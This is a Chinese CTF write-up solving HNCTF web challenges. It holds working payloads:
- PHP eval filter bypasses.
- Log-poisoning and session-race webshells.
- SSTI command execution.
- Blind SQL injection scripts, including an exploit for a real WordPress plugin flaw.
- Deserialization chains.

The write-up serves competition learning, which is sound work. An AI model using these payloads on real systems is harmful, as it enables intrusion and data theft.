[WEEK1]
Interesting_http
POST / HTTP/1.1
Host: 45.40.203.71:28396
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: user=admin
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
want=flag
2048
你能达到20000分吗 获得的flag以NSSCTF{}格式提交
源代码搜索关键词20000
将下面这个js代码放在控制台跑一下
alert(String.fromCharCode(24685, 21916, 33, 102, 108, 97, 103, 123, 53, 51, 49, 54, 48, 99, 56, 56, 56, 101, 50, 53, 99, 51, 102, 56, 50, 56, 98, 50, 51, 101, 51, 49, 54, 97, 55, 97, 101, 48, 56, 51, 125))
拿到flag
easy_html
提示./f14g.php
传一个11位数的数字就行了,没懂这题要考啥
Interesting_include
源码
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
?filter=php://filter/convert.base64-encode/resource=flag.php
题目过于萌新
easy_upload
What is Web
NSSCTF{Hell0_Weber_Wec0m3_come_2_web_w0r1d!}
Challenge__rce
源码
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
然后就是一点 一点构造,这里限制了长度很烦,环境是php7,可以用(func_name)()的方式调用;
${1}=[].[];$_=${1}[0];$_++;$_++;$__=$_;$_++;$_++;$_++;$_++;$_++;$__.=$_.${1}[1];${$__(95).$__(71).$__(69).$__(84)}[1]();
接着继续利用各种php特性缩短payload,最终我的payload缩短成了119长度如下
$_ = ([] . [])[0]; // A
$_++;
$__ = ++$_; //C
$_++;
$_++;
$_++;
$_++;
$__ .= ++$_ . ([] . [])[1]; // CHr
$_ = $__(95) . $__(71) . $__(69) . $__(84);
$$_[1]($$_[2]); // $_GET[1]($_GET[2])
// 换成一行
$_=([].[])[0];$_++;$__=++$_;$_++;$_++;$_++;$_++;$__.=++$_.([].[])[1];$_=$__(95).$__(71).$__(69).$__(84);$$_[1]($$_[2]);
最后RCE
贴个我构造自增用到的脚本,方便我以后再用
<?php
$__ = 'C';
$_=$__;
if(isset($_GET['a'])){
$a = $_GET['a'];
$a = strtoupper($a);
// echo '$_=$__;';
while(1){
if($a == $_){
die();
}else{
echo '$_++;';
$_++;
}
}
}else{
highlight_file(__FILE__);
}
后面又想了一下,缩短到了111长度,利用的下划线的一个特性
$_=([]._)[0];$_++;$__=++$_;$_++;$_++;$_++;$_++;$__.=++$_.([]._)[1];$_=_.$__(71).$__(69).$__(84);$$_[1]($$_[2]);
[WEEK2]
ez_ssrf
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];
$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data)) //感觉这里应该写feof($fp),这样写也能出结果,但是得等前面这个循环结束(大概循环10几秒20几秒的样子)
{
echo fgets($fp,128);
}
fclose($fp);
}
index.php?port=80&host=127.0.0.1&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogbG9jYWxob3N0DQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo
easy_include
日志文件包含,在UA里面插入恶意php语句,然后包含nginx的日志文件路径/var/log/nginx/access.log
?file=/var/log/nginx/access.log
1=system('cat /ffflllaaaggg');
<?php eval($_POST[1]);?>
Canyource
金典的无参数命令执行,payload有很多
payload
eval(end(current(get_defined_vars())));&flag=system('tac flag.php');
easy_unser
payload
<?php
class body
{
private $want, $todonothing;
public function __construct($c)
{
$this->want=$c;
$this->todonothing="pysnow";
}
}
class unserializeorder
{
public $CORE = 'php://filter/convert.base64-encode/resource=f14g.php';
}
$b= new unserializeorder();
$a = new body($b);
// echo serialize($a);
$final = serialize($a);
$final = str_replace('body":2:','body":3:',$final);
echo urlencode($final);
很简单直接打就是了
easy_sql
有点恶心的盲注,error是被过滤了的意思
-- 单引号闭合 or '1'='1
#
^
is
and && => or
information => mysql.innodb_table_stats
sleep => benchmark
# -*- coding: utf-8 -*-
# @Time : 2022/10/5 19:36
# @Author : pysnow
import string
import requests
# ctf ccctttfff
# ctftraining flag
#
# 10.4.13-MariaDB
pay = "0' or if(ascii(substr(({}),{},1))>{},1,0) or '2'='1".replace(' ', '/**/')
url = 'http://43.143.7.97:28592/index.php'
result = ''
dic = '{}-_@.' + string.ascii_lowercase + string.digits
for i in range(3, 100):
head = 27
tail = 150
while head < tail:
mid = (head + tail) >> 1
# payload = 'select database()'.replace(' ', '/**/')
# payload = 'select group_concat(schema_name) from information_sch'.replace(' ', '/**/')
# payload = "select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()".replace(' ', '/**/')
# payload = "select group_concat(database_name) from mysql.innodb_table_stats".replace(' ', '/**/')
# payload = "select group_concat(a.1) from (select 1,2,3 union select * from ccctttfff)a".replace(' ', '/**/')
payload = "select group_concat(a.1) from (select 1 union select * from ctftraining.flag)a".replace(' ', '/**/')
data = {
"id": pay.format(payload, i, mid)
}
res = requests.post(url=url, data=data)
# print(mid, data)
if 'handsome' in res.text:
head = mid + 1
else:
tail = mid
result += chr(head)
print(result)
ez_SSTI
基本无过滤
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
ohmywordpress
Wordpress的插件漏洞,给了源码,版本是6.0.2
,最新版没有什么大洞,提示说flag在数据库里面,去wpscan官网找一下sql注入漏洞
发现有两个插件akismet
,simple-link-directory
最后发现simple-link-directory存在sql注入漏洞,https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
exp
curl 'http://example.com/wp-admin/admin-ajax.php' --data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)'
注入点在post_id
exp
# -*- coding: utf-8 -*-
# @Time : 2022/10/17 14:12
# @Author : pysnow
import string
import requests
# {3ee4baef-8fb1-4e0a-b07b-b8cf0153066}
# 3e
url = 'http://43.143.7.97:28222/wp-admin/admin-ajax.php'
pay = "1/**/or/**/if(ascii(substr(({}),{},1))={},1,0)#"
result = ''
dic = '-abcdef0123845679'
for i in range(8, 100):
for j in dic:
payload = "select group_concat(flag) from `ctftraining`.flag"
data = {
"action": "qcopd_upvote_action",
"post_id": pay.format(payload, i, ord(j))
}
res = requests.post(url=url, data=data)
# print(data, res.text)
# print(res.elapsed.total_seconds())
if 'success' in res.text:
result += j
break
else:
pass
print(result)
[WEEK3]
ez_phar
源码
<?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
很简单的phar,upload.php上传文件,使用伪协议触发
exp
<?php
class Flag
{
public $code="system(\$_POST[1]);";
}
$a = serialize(new Flag());
$zip = new ZipArchive();
$res = $zip->open('hn.jpg',ZipArchive::CREATE);
$zip->addFromString('crispr.txt', 'file content goes here');
$zip->setArchiveComment($a);
$zip->close();
logjjjjlogjjjj
照着log4j2的复现文章打就是了,而且这个题目的环境是dockerhub上面的甚至没有改
https://blog.csdn.net/weixin_47179815/article/details/125654828
用最下面那个payload
url编码一下传过去,反弹上shell
Fun_php
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;
$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];
$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];
if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";
if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
// user 变量等于$user原本的值拼接上传参
if($user == 114514 && $getpass == $pass){
// $user == 114514 php弱比较,所以直接传user=114514就行,因为aaaaa114514 == 114514
// $getpass == $pass,随便传一个字符串或者数字0就会自动转化成0, 然后弱比较一个字符串为true
if (!ctype_alpha($getmySaid))
// mySaid必须为字符串
die();
if (!is_numeric($getmyHeart))
// myHeart必须为数字
die();
if(md5($getmySaid) != md5($getmyHeart)){
// 直接用特殊值md5就行,网上很多 以下是一些字符串md5值以0e开头 QNKCDZO 240610708 s878926199a s155964671a s21587387a
die("Cheater!");
}
else
$week_1 = true;
}
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
// array_search弱比较,老考点了,直接传一个字符串或者数字0就行,data[]=a data[]=0
$week_2 = true;
else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// HNCTFWelcome to
if ("hn" == $_GET['hn'] &+!!& " Flag!ctf" == $_GET[LAGctf]) { //HN! flag!! F
// unicode,也是老考点了,直接复制下来然后url编码一下就行
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
// 使用?通配符,fl4g.php == f???????
}
}
else
die("HACK!");
}
?>
php黑魔法全家桶,先给出payload
http://43.143.7.127:28093/?user=114514&pass=a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6ctf
data[]=0&verify[]=1&want=fl??????
分析直接放在源码注释里面了
sssti
ssti过滤了引号和关键词,但是给了request.cookies
,符号啥的基本没过滤,所以随便打
GET /?name={{config[request.cookies.a][request.cookies.b][request.cookies.c][request.cookies.d](request.cookies.e)}} HTTP/1.1
Host: 43.143.7.127:28538
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Cookie: a=__init__;b=__globals__;c=__builtins__;d=eval;e=__import__('os').popen('cat flag').read()
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ru;q=0.6,ja;q=0.5
Connection: close
QAQ_1inclu4e
脑洞题,include的参数是QAQ
然后过滤了很多,基本上只能包含文件那种
直接采用session_upload_progerss
文件上传RCE
# coding=utf-8
import io
import requests
import threading
sessid = 'Q'
data = {"cmd": "system('ls');"}
url = 'http://43.143.7.97:28368/'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url, data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST['cmd']);fputs(fopen('/var/www/html/shell.php','w'),'<?php @eval($_POST[whoami])?>');?>"},
files={'file': ('q.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(url + '?QAQ=/tmp/sess_' + sessid, data=data)
if 'q.txt' in resp.text:
print(resp.text)
event.clear()
else:
# print("[+++++++++++++]retry")
pass
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
后面flag的位置也有点阴间
/var/ffflllaaagggflag
[WEEK4]
没做
3 条评论
您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。
表评论8996
表评论2112